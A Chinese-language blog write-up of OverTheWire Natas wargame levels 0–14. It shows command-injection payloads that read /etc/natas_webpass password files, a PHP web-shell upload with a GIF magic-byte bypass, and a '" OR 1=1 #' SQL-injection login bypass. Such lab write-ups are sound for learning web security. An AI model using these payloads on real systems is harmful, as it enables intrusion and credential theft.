natas

natas0

natas1

禁用了右键,但还是可以F12或者

natas2

打开过files/pixel.png,但没想到这是目录权限问题。。。。顺便搜了一下爆破文件目录的工具,kali自带的dirbuster link

natas3

谷歌找不到–九-曲-十-八-弯—>robots.txt

awsl

natas4

点击refresh之后Referer会显示,改成对应的natas5即可

natas5

Login, 那就看cookie

改成1就行

natas6

打开再按f12就可以看见了

natas7

看到hint之后,就尝试在url中尝试page=ls

等号后输入hint的就行

natas8

给的很清楚,输入的数值,先base64_encode,再strrev,再bin2hex,如果和encodedSecret一样就get了

<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
$result = base64_decode(strrev(hex2bin($encodedSecret)));
echo $result;
?>

mac 自带了php环境hhh真好

natas9

命令注入

passthru ( string $command [, int &$return_var ] ) : void

exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec()system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

参数

  • command

    要执行的命令。

  • return_var

    如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。

密码均存储在/etc/natas_webpass目录下(百度来的

passthru("grep -i $key dictionary.txt");

并且在shell中,#可以注释掉后面的

所以当

$key = | cat /etc/natas_webpass/natas10 #
$key = & cat /etc/natas_webpass/natas10 #
$key = | cat /etc/natas_webpass/natas10
$key = & cat /etc/natas_webpass/natas10

时,对应的shell命令为

grep -i | cat /etc/natas_webpass/natas10 dictionary.txt
grep -i & cat /etc/natas_webpass/natas10

这样都行

natas10

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
  • Search in case-insensitive mode:
    grep -i search_string path/to/file

grep还可以用正则,所以这里

$key = [a-zA-Z] /etc/natas_webpass/natas11 #
grep -i [a-zA-Z] /etc/natas_webpass/natas11 # dictionary.txt

natas12

把文件名随机了,把后缀改成jpg了

内容没有检测,尝试upload的时候用bp把文件后缀改成php就可以打开,那

<?
    passthru('cat /etc/natas_webpass/natas13');
?>

natas13

通过 php的函数 exif_imagetype() 来判断文件夹类型,

可以查看php的文档,这个函数通过检查文件的签名(第一个字节),从而检测文件类型。

可以用GIF98a来骗过

GIF98a
<?
    passthru('cat /etc/natas_webpass/natas14');
?>

natas14

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; 

万能sql密码" OR 1=1 #

SELECT * from users where username="" OR 1=1 # and password= ""

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

编译原理学习笔记 上一篇
数据库使用&学习记录 下一篇